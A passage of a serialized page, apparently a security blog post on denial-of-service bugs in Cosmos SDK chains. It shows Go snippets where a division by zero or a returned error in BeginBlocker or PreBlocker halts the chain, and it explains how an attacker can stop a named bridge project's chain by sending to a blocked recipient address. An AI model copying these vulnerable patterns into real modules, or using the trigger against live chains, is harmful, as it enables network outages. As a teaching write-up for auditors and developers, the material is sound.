",{"type":23,"tag":314,"props":80382,"children":80383},{"style":2674},[80384],{"type":28,"value":75567},{"type":23,"tag":314,"props":80386,"children":80387},{"style":338},[80388],{"type":28,"value":2343},{"type":23,"tag":314,"props":80390,"children":80391},{"style":332},[80392],{"type":28,"value":80393},"AllocateReward",{"type":23,"tag":314,"props":80395,"children":80396},{"style":338},[80397],{"type":28,"value":2719},{"type":23,"tag":314,"props":80399,"children":80400},{"class":316,"line":370},[80401,80405,80409,80413,80417],{"type":23,"tag":314,"props":80402,"children":80403},{"style":360},[80404],{"type":28,"value":75588},{"type":23,"tag":314,"props":80406,"children":80407},{"style":2674},[80408],{"type":28,"value":75593},{"type":23,"tag":314,"props":80410,"children":80411},{"style":338},[80412],{"type":28,"value":282},{"type":23,"tag":314,"props":80414,"children":80415},{"style":2674},[80416],{"type":28,"value":75602},{"type":23,"tag":314,"props":80418,"children":80419},{"style":338},[80420],{"type":28,"value":1870},{"type":23,"tag":314,"props":80422,"children":80423},{"class":316,"line":380},[80424,80428,80432,80436,80440,80445],{"type":23,"tag":314,"props":80425,"children":80426},{"style":360},[80427],{"type":28,"value":75614},{"type":23,"tag":314,"props":80429,"children":80430},{"style":354},[80431],{"type":28,"value":357},{"type":23,"tag":314,"props":80433,"children":80434},{"style":2674},[80435],{"type":28,"value":5012},{"type":23,"tag":314,"props":80437,"children":80438},{"style":338},[80439],{"type":28,"value":282},{"type":23,"tag":314,"props":80441,"children":80442},{"style":2674},[80443],{"type":28,"value":80444},"MsgAllocateReward",{"type":23,"tag":314,"props":80446,"children":80447},{"style":338},[80448],{"type":28,"value":2414},{"type":23,"tag":314,"props":80450,"children":80451},{"class":316,"line":1091},[80452,80456,80460,80464,80468,80473,80477,80481],{"type":23,"tag":314,"props":80453,"children":80454},{"style":338},[80455],{"type":28,"value":341},{"type":23,"tag":314,"props":80457,"children":80458},{"style":354},[80459],{"type":28,"value":256},{"type":23,"tag":314,"props":80461,"children":80462},{"style":2674},[80463],{"type":28,"value":5012},{"type":23,"tag":314,"props":80465,"children":80466},{"style":338},[80467],{"type":28,"value":282},{"type":23,"tag":314,"props":80469,"children":80470},{"style":2674},[80471],{"type":28,"value":80472},"MsgAllocatRewardResponse",{"type":23,"tag":314,"props":80474,"children":80475},{"style":338},[80476],{"type":28,"value":778},{"type":23,"tag":314,"props":80478,"children":80479},{"style":2674},[80480],{"type":28,"value":14106},{"type":23,"tag":314,"props":80482,"children":80483},{"style":338},[80484],{"type":28,"value":367},{"type":23,"tag":314,"props":80486,"children":80487},{"class":316,"line":1141},[80488],{"type":23,"tag":314,"props":80489,"children":80490},{"emptyLinePlaceholder":18},[80491],{"type":28,"value":1088},{"type":23,"tag":314,"props":80493,"children":80494},{"class":316,"line":1173},[80495,80500,80504,80509,80513,80518,80522,80527,80531,80535,80540,80544,80548,80552,80557],{"type":23,"tag":314,"props":80496,"children":80497},{"style":360},[80498],{"type":28,"value":80499}," RewardPerShare",{"type":23,"tag":314,"props":80501,"children":80502},{"style":354},[80503],{"type":28,"value":75669},{"type":23,"tag":314,"props":80505,"children":80506},{"style":360},[80507],{"type":28,"value":80508}," k",{"type":23,"tag":314,"props":80510,"children":80511},{"style":338},[80512],{"type":28,"value":282},{"type":23,"tag":314,"props":80514,"children":80515},{"style":360},[80516],{"type":28,"value":80517},"keeper",{"type":23,"tag":314,"props":80519,"children":80520},{"style":338},[80521],{"type":28,"value":282},{"type":23,"tag":314,"props":80523,"children":80524},{"style":332},[80525],{"type":28,"value":80526},"Shares",{"type":23,"tag":314,"props":80528,"children":80529},{"style":338},[80530],{"type":28,"value":13290},{"type":23,"tag":314,"props":80532,"children":80533},{"style":354},[80534],{"type":28,"value":3835},{"type":23,"tag":314,"props":80536,"children":80537},{"style":360},[80538],{"type":28,"value":80539}," k",{"type":23,"tag":314,"props":80541,"children":80542},{"style":338},[80543],{"type":28,"value":282},{"type":23,"tag":314,"props":80545,"children":80546},{"style":360},[80547],{"type":28,"value":80517},{"type":23,"tag":314,"props":80549,"children":80550},{"style":338},[80551],{"type":28,"value":282},{"type":23,"tag":314,"props":80553,"children":80554},{"style":332},[80555],{"type":28,"value":80556},"TotalReward",{"type":23,"tag":314,"props":80558,"children":80559},{"style":338},[80560],{"type":28,"value":6990},{"type":23,"tag":314,"props":80562,"children":80563},{"class":316,"line":1208},[80564,80569,80573,80577,80581,80586,80590,80595],{"type":23,"tag":314,"props":80565,"children":80566},{"style":360},[80567],{"type":28,"value":80568}," k",{"type":23,"tag":314,"props":80570,"children":80571},{"style":338},[80572],{"type":28,"value":282},{"type":23,"tag":314,"props":80574,"children":80575},{"style":360},[80576],{"type":28,"value":80517},{"type":23,"tag":314,"props":80578,"children":80579},{"style":338},[80580],{"type":28,"value":282},{"type":23,"tag":314,"props":80582,"children":80583},{"style":332},[80584],{"type":28,"value":80585},"DistributeReward",{"type":23,"tag":314,"props":80587,"children":80588},{"style":338},[80589],{"type":28,"value":341},{"type":23,"tag":314,"props":80591,"children":80592},{"style":360},[80593],{"type":28,"value":80594},"RewardPerShare",{"type":23,"tag":314,"props":80596,"children":80597},{"style":338},[80598],{"type":28,"value":2414},{"type":23,"tag":314,"props":80600,"children":80601},{"class":316,"line":1216},[80602],{"type":23,"tag":314,"props":80603,"children":80604},{"emptyLinePlaceholder":18},[80605],{"type":28,"value":1088},{"type":23,"tag":314,"props":80607,"children":80608},{"class":316,"line":1301},[80609,80613,80617,80621,80625,80630,80634],{"type":23,"tag":314,"props":80610,"children":80611},{"style":2284},[80612],{"type":28,"value":16228},{"type":23,"tag":314,"props":80614,"children":80615},{"style":354},[80616],{"type":28,"value":1968},{"type":23,"tag":314,"props":80618,"children":80619},{"style":360},[80620],{"type":28,"value":5012},{"type":23,"tag":314,"props":80622,"children":80623},{"style":338},[80624],{"type":28,"value":282},{"type":23,"tag":314,"props":80626,"children":80627},{"style":360},[80628],{"type":28,"value":80629},"MsgAllocateRewardResponse",{"type":23,"tag":314,"props":80631,"children":80632},{"style":338},[80633],{"type":28,"value":778},{"type":23,"tag":314,"props":80635,"children":80636},{"style":321},[80637],{"type":28,"value":75894},{"type":23,"tag":314,"props":80639,"children":80640},{"class":316,"line":1343},[80641],{"type":23,"tag":314,"props":80642,"children":80643},{"style":338},[80644],{"type":28,"value":386},{"type":23,"tag":24,"props":80646,"children":80647},{},[80648,80650,80656,80657,80663,80664,80670,80672,80677],{"type":28,"value":80649},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":23,"tag":94,"props":80651,"children":80653},{"className":80652},[],[80654],{"type":28,"value":80655},"PreBlocker",{"type":28,"value":778},{"type":23,"tag":94,"props":80658,"children":80660},{"className":80659},[],[80661],{"type":28,"value":80662},"BeginBlocker",{"type":28,"value":5743},{"type":23,"tag":94,"props":80665,"children":80667},{"className":80666},[],[80668],{"type":28,"value":80669},"EndBlocker",{"type":28,"value":80671},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":23,"tag":94,"props":80673,"children":80675},{"className":80674},[],[80676],{"type":28,"value":80662},{"type":28,"value":80678}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":23,"tag":304,"props":80680,"children":80682},{"code":80681,"language":75417,"meta":7,"className":75418,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n RewardPerShare := keeper.Shares() / keeper.TotalReward()\n keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[80683],{"type":23,"tag":94,"props":80684,"children":80685},{"__ignoreMap":7},[80686,80751,80758,80806,80834,80841,80853],{"type":23,"tag":314,"props":80687,"children":80688},{"class":316,"line":317},[80689,80693,80698,80702,80706,80710,80714,80718,80722,80726,80731,80735,80739,80743,80747],{"type":23,"tag":314,"props":80690,"children":80691},{"style":321},[80692],{"type":28,"value":75553},{"type":23,"tag":314,"props":80694,"children":80695},{"style":332},[80696],{"type":28,"value":80697}," BeginBlocker",{"type":23,"tag":314,"props":80699,"children":80700},{"style":338},[80701],{"type":28,"value":341},{"type":23,"tag":314,"props":80703,"children":80704},{"style":360},[80705],{"type":28,"value":19518},{"type":23,"tag":314,"props":80707,"children":80708},{"style":2674},[80709],{"type":28,"value":75593},{"type":23,"tag":314,"props":80711,"children":80712},{"style":338},[80713],{"type":28,"value":282},{"type":23,"tag":314,"props":80715,"children":80716},{"style":2674},[80717],{"type":28,"value":75602},{"type":23,"tag":314,"props":80719,"children":80720},{"style":338},[80721],{"type":28,"value":778},{"type":23,"tag":314,"props":80723,"children":80724},{"style":360},[80725],{"type":28,"value":80517},{"type":23,"tag":314,"props":80727,"children":80728},{"style":2674},[80729],{"type":28,"value":80730}," keeper",{"type":23,"tag":314,"props":80732,"children":80733},{"style":338},[80734],{"type":28,"value":282},{"type":23,"tag":314,"props":80736,"children":80737},{"style":2674},[80738],{"type":28,"value":79197},{"type":23,"tag":314,"props":80740,"children":80741},{"style":338},[80742],{"type":28,"value":2343},{"type":23,"tag":314,"props":80744,"children":80745},{"style":2674},[80746],{"type":28,"value":14106},{"type":23,"tag":314,"props":80748,"children":80749},{"style":338},[80750],{"type":28,"value":1449},{"type":23,"tag":314,"props":80752,"children":80753},{"class":316,"line":370},[80754],{"type":23,"tag":314,"props":80755,"children":80756},{"emptyLinePlaceholder":18},[80757],{"type":28,"value":1088},{"type":23,"tag":314,"props":80759,"children":80760},{"class":316,"line":380},[80761,80765,80769,80773,80777,80781,80785,80789,80794,80798,80802],{"type":23,"tag":314,"props":80762,"children":80763},{"style":360},[80764],{"type":28,"value":80499},{"type":23,"tag":314,"props":80766,"children":80767},{"style":354},[80768],{"type":28,"value":75669},{"type":23,"tag":314,"props":80770,"children":80771},{"style":360},[80772],{"type":28,"value":80730},{"type":23,"tag":314,"props":80774,"children":80775},{"style":338},[80776],{"type":28,"value":282},{"type":23,"tag":314,"props":80778,"children":80779},{"style":332},[80780],{"type":28,"value":80526},{"type":23,"tag":314,"props":80782,"children":80783},{"style":338},[80784],{"type":28,"value":13290},{"type":23,"tag":314,"props":80786,"children":80787},{"style":354},[80788],{"type":28,"value":3835},{"type":23,"tag":314,"props":80790,"children":80791},{"style":360},[80792],{"type":28,"value":80793}," keeper",{"type":23,"tag":314,"props":80795,"children":80796},{"style":338},[80797],{"type":28,"value":282},{"type":23,"tag":314,"props":80799,"children":80800},{"style":332},[80801],{"type":28,"value":80556},{"type":23,"tag":314,"props":80803,"children":80804},{"style":338},[80805],{"type":28,"value":6990},{"type":23,"tag":314,"props":80807,"children":80808},{"class":316,"line":1091},[80809,80814,80818,80822,80826,80830],{"type":23,"tag":314,"props":80810,"children":80811},{"style":360},[80812],{"type":28,"value":80813}," keeper",{"type":23,"tag":314,"props":80815,"children":80816},{"style":338},[80817],{"type":28,"value":282},{"type":23,"tag":314,"props":80819,"children":80820},{"style":332},[80821],{"type":28,"value":80585},{"type":23,"tag":314,"props":80823,"children":80824},{"style":338},[80825],{"type":28,"value":341},{"type":23,"tag":314,"props":80827,"children":80828},{"style":360},[80829],{"type":28,"value":80594},{"type":23,"tag":314,"props":80831,"children":80832},{"style":338},[80833],{"type":28,"value":2414},{"type":23,"tag":314,"props":80835,"children":80836},{"class":316,"line":1141},[80837],{"type":23,"tag":314,"props":80838,"children":80839},{"emptyLinePlaceholder":18},[80840],{"type":28,"value":1088},{"type":23,"tag":314,"props":80842,"children":80843},{"class":316,"line":1173},[80844,80848],{"type":23,"tag":314,"props":80845,"children":80846},{"style":2284},[80847],{"type":28,"value":52117},{"type":23,"tag":314,"props":80849,"children":80850},{"style":321},[80851],{"type":28,"value":80852}," nil\n",{"type":23,"tag":314,"props":80854,"children":80855},{"class":316,"line":1208},[80856],{"type":23,"tag":314,"props":80857,"children":80858},{"style":338},[80859],{"type":28,"value":386},{"type":23,"tag":837,"props":80861,"children":80863},{"id":80862},"real-world-examples-3",[80864],{"type":28,"value":75941},{"type":23,"tag":24,"props":80866,"children":80867},{},[80868],{"type":28,"value":80869},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":23,"tag":24,"props":80871,"children":80872},{},[80873,80875,80881,80883,80888,80890,80896,80898,80904,80906,80912],{"type":28,"value":80874},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":23,"tag":94,"props":80876,"children":80878},{"className":80877},[],[80879],{"type":28,"value":80880},"bankKeeper.SendCoinsFromModuleToAccount",{"type":28,"value":80882}," will be bubbled up through ",{"type":23,"tag":94,"props":80884,"children":80886},{"className":80885},[],[80887],{"type":28,"value":80655},{"type":28,"value":80889}," and halt the chain. It turns out an attacker can force ",{"type":23,"tag":94,"props":80891,"children":80893},{"className":80892},[],[80894],{"type":28,"value":80895},"SendCoinsFromModuleToAccount",{"type":28,"value":80897}," to return an error by setting ",{"type":23,"tag":94,"props":80899,"children":80901},{"className":80900},[],[80902],{"type":28,"value":80903},"recipient",{"type":28,"value":80905}," to some ",{"type":23,"tag":94,"props":80907,"children":80909},{"className":80908},[],[80910],{"type":28,"value":80911},"BlockedAddr",{"type":28,"value":80913},",rendering the code susceptible to DoS attacks.",{"type":23,"tag":24,"props":80915,"children":80916},{},[80917],{"type":23,"tag":31,"props":80918,"children":80921},{"href":80919,"rel":80920},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[35],[80922],{"type":28,"value":75991},{"type":23,"tag":304,"props":80924,"children":80926},{"code":80925,"language":75417,"meta":7,"className":75418,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n return func(\n ctx sdk.Context,\n req *cmtabci.RequestFinalizeBlock,\n ) (*sdk.ResponsePreBlock, error) {\n ...\n err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n if err != nil {\n return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n }\n ...\n }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n ctx sdk.Context,\n events types.AssetsLockedEvents,\n) error {\n ...\n for _, event := range events {\n recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n if err != nil {\n return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n }\n\n if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n err = k.mintBTC(ctx, recipient, event.Amount)\n if err != nil {\n return fmt.Errorf(\n \"failed to mint BTC for event %v: %w\",\n event.Sequence,\n err,\n )\n }\n } else {\n ...\n }\n }\n ...\n}\n\nfunc (k Keeper) mintBTC(\n ctx sdk.Context,\n recipient sdk.AccAddress,\n amount math.Int,\n) error {\n ...\n err = k.bankKeeper.SendCoinsFromModuleToAccount(\n ctx,\n types.ModuleName,\n recipient,\n coins,\n )\n if err != nil {\n return fmt.Errorf(\"failed to send coins: %w\", err)\n }\n ...\n}\n",[80927],{"type":23,"tag":94,"props":80928,"children":80929},{"__ignoreMap":7},[80930,80983,80998,81021,81051,81087,81095,81151,81175,81225,81232,81239,81246,81253,81260,81291,81314,81339,81354,81361,81398,81452,81475,81516,81523,81530,81581,81642,81665,81688,81700,81721,81733,81741,81748,81763,81771,81778,81785,81792,81799,81806,81837,81860,81885,81910,81925,81932,81969,81980,82001,82012,82024,82031,82054,82094,82101,82108],{"type":23,"tag":314,"props":80931,"children":80932},{"class":316,"line":317},[80933,80937,80941,80946,80950,80955,80959,80963,80967,80971,80975,80979],{"type":23,"tag":314,"props":80934,"children":80935},{"style":321},[80936],{"type":28,"value":75553},{"type":23,"tag":314,"props":80938,"children":80939},{"style":338},[80940],{"type":28,"value":2324},{"type":23,"tag":314,"props":80942,"children":80943},{"style":360},[80944],{"type":28,"value":80945},"pbh ",{"type":23,"tag":314,"props":80947,"children":80948},{"style":354},[80949],{"type":28,"value":256},{"type":23,"tag":314,"props":80951,"children":80952},{"style":2674},[80953],{"type":28,"value":80954},"PreBlockHandler",{"type":23,"tag":314,"props":80956,"children":80957},{"style":338},[80958],{"type":28,"value":2343},{"type":23,"tag":314,"props":80960,"children":80961},{"style":332},[80962],{"type":28,"value":80655},{"type":23,"tag":314,"props":80964,"children":80965},{"style":338},[80966],{"type":28,"value":13290},{"type":23,"tag":314,"props":80968,"children":80969},{"style":2674},[80970],{"type":28,"value":77982},{"type":23,"tag":314,"props":80972,"children":80973},{"style":338},[80974],{"type":28,"value":282},{"type":23,"tag":314,"props":80976,"children":80977},{"style":2674},[80978],{"type":28,"value":80655},{"type":23,"tag":314,"props":80980,"children":80981},{"style":338},[80982],{"type":28,"value":1449},{"type":23,"tag":314,"props":80984,"children":80985},{"class":316,"line":370},[80986,80990,80994],{"type":23,"tag":314,"props":80987,"children":80988},{"style":2284},[80989],{"type":28,"value":16228},{"type":23,"tag":314,"props":80991,"children":80992},{"style":321},[80993],{"type":28,"value":79261},{"type":23,"tag":314,"props":80995,"children":80996},{"style":338},[80997],{"type":28,"value":2719},{"type":23,"tag":314,"props":80999,"children":81000},{"class":316,"line":380},[81001,81005,81009,81013,81017],{"type":23,"tag":314,"props":81002,"children":81003},{"style":360},[81004],{"type":28,"value":25432},{"type":23,"tag":314,"props":81006,"children":81007},{"style":2674},[81008],{"type":28,"value":77893},{"type":23,"tag":314,"props":81010,"children":81011},{"style":338},[81012],{"type":28,"value":282},{"type":23,"tag":314,"props":81014,"children":81015},{"style":2674},[81016],{"type":28,"value":75602},{"type":23,"tag":314,"props":81018,"children":81019},{"style":338},[81020],{"type":28,"value":1870},{"type":23,"tag":314,"props":81022,"children":81023},{"class":316,"line":1091},[81024,81029,81033,81038,81042,81047],{"type":23,"tag":314,"props":81025,"children":81026},{"style":360},[81027],{"type":28,"value":81028}," req",{"type":23,"tag":314,"props":81030,"children":81031},{"style":354},[81032],{"type":28,"value":357},{"type":23,"tag":314,"props":81034,"children":81035},{"style":2674},[81036],{"type":28,"value":81037},"cmtabci",{"type":23,"tag":314,"props":81039,"children":81040},{"style":338},[81041],{"type":28,"value":282},{"type":23,"tag":314,"props":81043,"children":81044},{"style":2674},[81045],{"type":28,"value":81046},"RequestFinalizeBlock",{"type":23,"tag":314,"props":81048,"children":81049},{"style":338},[81050],{"type":28,"value":1870},{"type":23,"tag":314,"props":81052,"children":81053},{"class":316,"line":1141},[81054,81058,81062,81066,81070,81075,81079,81083],{"type":23,"tag":314,"props":81055,"children":81056},{"style":338},[81057],{"type":28,"value":79329},{"type":23,"tag":314,"props":81059,"children":81060},{"style":354},[81061],{"type":28,"value":256},{"type":23,"tag":314,"props":81063,"children":81064},{"style":2674},[81065],{"type":28,"value":77982},{"type":23,"tag":314,"props":81067,"children":81068},{"style":338},[81069],{"type":28,"value":282},{"type":23,"tag":314,"props":81071,"children":81072},{"style":2674},[81073],{"type":28,"value":81074},"ResponsePreBlock",{"type":23,"tag":314,"props":81076,"children":81077},{"style":338},[81078],{"type":28,"value":778},{"type":23,"tag":314,"props":81080,"children":81081},{"style":2674},[81082],{"type":28,"value":14106},{"type":23,"tag":314,"props":81084,"children":81085},{"style":338},[81086],{"type":28,"value":367},{"type":23,"tag":314,"props":81088,"children":81089},{"class":316,"line":1173},[81090],{"type":23,"tag":314,"props":81091,"children":81092},{"style":354},[81093],{"type":28,"value":81094}," ...\n",{"type":23,"tag":314,"props":81096,"children":81097},{"class":316,"line":1208},[81098,81103,81107,81112,81116,81121,81125,81130,81134,81138,81142,81147],{"type":23,"tag":314,"props":81099,"children":81100},{"style":360},[81101],{"type":28,"value":81102}," err",{"type":23,"tag":314,"props":81104,"children":81105},{"style":354},[81106],{"type":28,"value":75669},{"type":23,"tag":314,"props":81108,"children":81109},{"style":360},[81110],{"type":28,"value":81111}," pbh",{"type":23,"tag":314,"props":81113,"children":81114},{"style":338},[81115],{"type":28,"value":282},{"type":23,"tag":314,"props":81117,"children":81118},{"style":360},[81119],{"type":28,"value":81120},"bridgeKeeper",{"type":23,"tag":314,"props":81122,"children":81123},{"style":338},[81124],{"type":28,"value":282},{"type":23,"tag":314,"props":81126,"children":81127},{"style":332},[81128],{"type":28,"value":81129},"AcceptAssetsLocked",{"type":23,"tag":314,"props":81131,"children":81132},{"style":338},[81133],{"type":28,"value":341},{"type":23,"tag":314,"props":81135,"children":81136},{"style":360},[81137],{"type":28,"value":19518},{"type":23,"tag":314,"props":81139,"children":81140},{"style":338},[81141],{"type":28,"value":778},{"type":23,"tag":314,"props":81143,"children":81144},{"style":360},[81145],{"type":28,"value":81146},"events",{"type":23,"tag":314,"props":81148,"children":81149},{"style":338},[81150],{"type":28,"value":2414},{"type":23,"tag":314,"props":81152,"children":81153},{"class":316,"line":1216},[81154,81158,81162,81166,81171],{"type":23,"tag":314,"props":81155,"children":81156},{"style":2284},[81157],{"type":28,"value":2527},{"type":23,"tag":314,"props":81159,"children":81160},{"style":360},[81161],{"type":28,"value":47771},{"type":23,"tag":314,"props":81163,"children":81164},{"style":354},[81165],{"type":28,"value":63639},{"type":23,"tag":314,"props":81167,"children":81168},{"style":321},[81169],{"type":28,"value":81170}," nil",{"type":23,"tag":314,"props":81172,"children":81173},{"style":338},[81174],{"type":28,"value":1449},{"type":23,"tag":314,"props":81176,"children":81177},{"class":316,"line":1301},[81178,81182,81186,81190,81195,81199,81204,81208,81213,81217,81221],{"type":23,"tag":314,"props":81179,"children":81180},{"style":2284},[81181],{"type":28,"value":78328},{"type":23,"tag":314,"props":81183,"children":81184},{"style":321},[81185],{"type":28,"value":81170},{"type":23,"tag":314,"props":81187,"children":81188},{"style":338},[81189],{"type":28,"value":778},{"type":23,"tag":314,"props":81191,"children":81192},{"style":360},[81193],{"type":28,"value":81194},"fmt",{"type":23,"tag":314,"props":81196,"children":81197},{"style":338},[81198],{"type":28,"value":282},{"type":23,"tag":314,"props":81200,"children":81201},{"style":332},[81202],{"type":28,"value":81203},"Errorf",{"type":23,"tag":314,"props":81205,"children":81206},{"style":338},[81207],{"type":28,"value":341},{"type":23,"tag":314,"props":81209,"children":81210},{"style":1245},[81211],{"type":28,"value":81212},"\"cannot accept AssetsLocked events: %w\"",{"type":23,"tag":314,"props":81214,"children":81215},{"style":338},[81216],{"type":28,"value":778},{"type":23,"tag":314,"props":81218,"children":81219},{"style":360},[81220],{"type":28,"value":47670},{"type":23,"tag":314,"props":81222,"children":81223},{"style":338},[81224],{"type":28,"value":2414},{"type":23,"tag":314,"props":81226,"children":81227},{"class":316,"line":1343},[81228],{"type":23,"tag":314,"props":81229,"children":81230},{"style":338},[81231],{"type":28,"value":2602},{"type":23,"tag":314,"props":81233,"children":81234},{"class":316,"line":1351},[81235],{"type":23,"tag":314,"props":81236,"children":81237},{"style":354},[81238],{"type":28,"value":81094},{"type":23,"tag":314,"props":81240,"children":81241},{"class":316,"line":1387},[81242],{"type":23,"tag":314,"props":81243,"children":81244},{"style":338},[81245],{"type":28,"value":2610},{"type":23,"tag":314,"props":81247,"children":81248},{"class":316,"line":1422},[81249],{"type":23,"tag":314,"props":81250,"children":81251},{"style":338},[81252],{"type":28,"value":386},{"type":23,"tag":314,"props":81254,"children":81255},{"class":316,"line":1430},[81256],{"type":23,"tag":314,"props":81257,"children":81258},{"emptyLinePlaceholder":18},[81259],{"type":28,"value":1088},{"type":23,"tag":314,"props":81261,"children":81262},{"class":316,"line":1452},[81263,81267,81271,81275,81279,81283,81287],{"type":23,"tag":314,"props":81264,"children":81265},{"style":321},[81266],{"type":28,"value":75553},{"type":23,"tag":314,"props":81268,"children":81269},{"style":338},[81270],{"type":28,"value":2324},{"type":23,"tag":314,"props":81272,"children":81273},{"style":360},[81274],{"type":28,"value":80380},{"type":23,"tag":314,"props":81276,"children":81277},{"style":2674},[81278],{"type":28,"value":79197},{"type":23,"tag":314,"props":81280,"children":81281},{"style":338},[81282],{"type":28,"value":2343},{"type":23,"tag":314,"props":81284,"children":81285},{"style":332},[81286],{"type":28,"value":81129},{"type":23,"tag":314,"props":81288,"children":81289},{"style":338},[81290],{"type":28,"value":2719},{"type":23,"tag":314,"props":81292,"children":81293},{"class":316,"line":1497},[81294,81298,81302,81306,81310],{"type":23,"tag":314,"props":81295,"children":81296},{"style":360},[81297],{"type":28,"value":19461},{"type":23,"tag":314,"props":81299,"children":81300},{"style":2674},[81301],{"type":28,"value":77893},{"type":23,"tag":314,"props":81303,"children":81304},{"style":338},[81305],{"type":28,"value":282},{"type":23,"tag":314,"props":81307,"children":81308},{"style":2674},[81309],{"type":28,"value":75602},{"type":23,"tag":314,"props":81311,"children":81312},{"style":338},[81313],{"type":28,"value":1870},{"type":23,"tag":314,"props":81315,"children":81316},{"class":316,"line":1539},[81317,81322,81326,81330,81335],{"type":23,"tag":314,"props":81318,"children":81319},{"style":360},[81320],{"type":28,"value":81321}," events",{"type":23,"tag":314,"props":81323,"children":81324},{"style":2674},[81325],{"type":28,"value":77427},{"type":23,"tag":314,"props":81327,"children":81328},{"style":338},[81329],{"type":28,"value":282},{"type":23,"tag":314,"props":81331,"children":81332},{"style":2674},[81333],{"type":28,"value":81334},"AssetsLockedEvents",{"type":23,"tag":314,"props":81336,"children":81337},{"style":338},[81338],{"type":28,"value":1870},{"type":23,"tag":314,"props":81340,"children":81341},{"class":316,"line":1548},[81342,81346,81350],{"type":23,"tag":314,"props":81343,"children":81344},{"style":338},[81345],{"type":28,"value":2343},{"type":23,"tag":314,"props":81347,"children":81348},{"style":2674},[81349],{"type":28,"value":14106},{"type":23,"tag":314,"props":81351,"children":81352},{"style":338},[81353],{"type":28,"value":1449},{"type":23,"tag":314,"props":81355,"children":81356},{"class":316,"line":1584},[81357],{"type":23,"tag":314,"props":81358,"children":81359},{"style":354},[81360],{"type":28,"value":19577},{"type":23,"tag":314,"props":81362,"children":81363},{"class":316,"line":1617},[81364,81368,81372,81376,81381,81385,81389,81394],{"type":23,"tag":314,"props":81365,"children":81366},{"style":2284},[81367],{"type":28,"value":2287},{"type":23,"tag":314,"props":81369,"children":81370},{"style":360},[81371],{"type":28,"value":2292},{"type":23,"tag":314,"props":81373,"children":81374},{"style":338},[81375],{"type":28,"value":778},{"type":23,"tag":314,"props":81377,"children":81378},{"style":360},[81379],{"type":28,"value":81380},"event",{"type":23,"tag":314,"props":81382,"children":81383},{"style":354},[81384],{"type":28,"value":75669},{"type":23,"tag":314,"props":81386,"children":81387},{"style":2284},[81388],{"type":28,"value":76651},{"type":23,"tag":314,"props":81390,"children":81391},{"style":360},[81392],{"type":28,"value":81393}," events",{"type":23,"tag":314,"props":81395,"children":81396},{"style":338},[81397],{"type":28,"value":1449},{"type":23,"tag":314,"props":81399,"children":81400},{"class":316,"line":1625},[81401,81406,81410,81414,81418,81422,81426,81431,81435,81439,81443,81448],{"type":23,"tag":314,"props":81402,"children":81403},{"style":360},[81404],{"type":28,"value":81405}," recipient",{"type":23,"tag":314,"props":81407,"children":81408},{"style":338},[81409],{"type":28,"value":778},{"type":23,"tag":314,"props":81411,"children":81412},{"style":360},[81413],{"type":28,"value":47670},{"type":23,"tag":314,"props":81415,"children":81416},{"style":354},[81417],{"type":28,"value":75669},{"type":23,"tag":314,"props":81419,"children":81420},{"style":360},[81421],{"type":28,"value":77893},{"type":23,"tag":314,"props":81423,"children":81424},{"style":338},[81425],{"type":28,"value":282},{"type":23,"tag":314,"props":81427,"children":81428},{"style":332},[81429],{"type":28,"value":81430},"AccAddressFromBech32",{"type":23,"tag":314,"props":81432,"children":81433},{"style":338},[81434],{"type":28,"value":341},{"type":23,"tag":314,"props":81436,"children":81437},{"style":360},[81438],{"type":28,"value":81380},{"type":23,"tag":314,"props":81440,"children":81441},{"style":338},[81442],{"type":28,"value":282},{"type":23,"tag":314,"props":81444,"children":81445},{"style":360},[81446],{"type":28,"value":81447},"Recipient",{"type":23,"tag":314,"props":81449,"children":81450},{"style":338},[81451],{"type":28,"value":2414},{"type":23,"tag":314,"props":81453,"children":81454},{"class":316,"line":1660},[81455,81459,81463,81467,81471],{"type":23,"tag":314,"props":81456,"children":81457},{"style":2284},[81458],{"type":28,"value":2527},{"type":23,"tag":314,"props":81460,"children":81461},{"style":360},[81462],{"type":28,"value":47771},{"type":23,"tag":314,"props":81464,"children":81465},{"style":354},[81466],{"type":28,"value":63639},{"type":23,"tag":314,"props":81468,"children":81469},{"style":321},[81470],{"type":28,"value":81170},{"type":23,"tag":314,"props":81472,"children":81473},{"style":338},[81474],{"type":28,"value":1449},{"type":23,"tag":314,"props":81476,"children":81477},{"class":316,"line":1708},[81478,81482,81487,81491,81495,81499,81504,81508,81512],{"type":23,"tag":314,"props":81479,"children":81480},{"style":2284},[81481],{"type":28,"value":78328},{"type":23,"tag":314,"props":81483,"children":81484},{"style":360},[81485],{"type":28,"value":81486}," fmt",{"type":23,"tag":314,"props":81488,"children":81489},{"style":338},[81490],{"type":28,"value":282},{"type":23,"tag":314,"props":81492,"children":81493},{"style":332},[81494],{"type":28,"value":81203},{"type":23,"tag":314,"props":81496,"children":81497},{"style":338},[81498],{"type":28,"value":341},{"type":23,"tag":314,"props":81500,"children":81501},{"style":1245},[81502],{"type":28,"value":81503},"\"failed to parse recipient address: 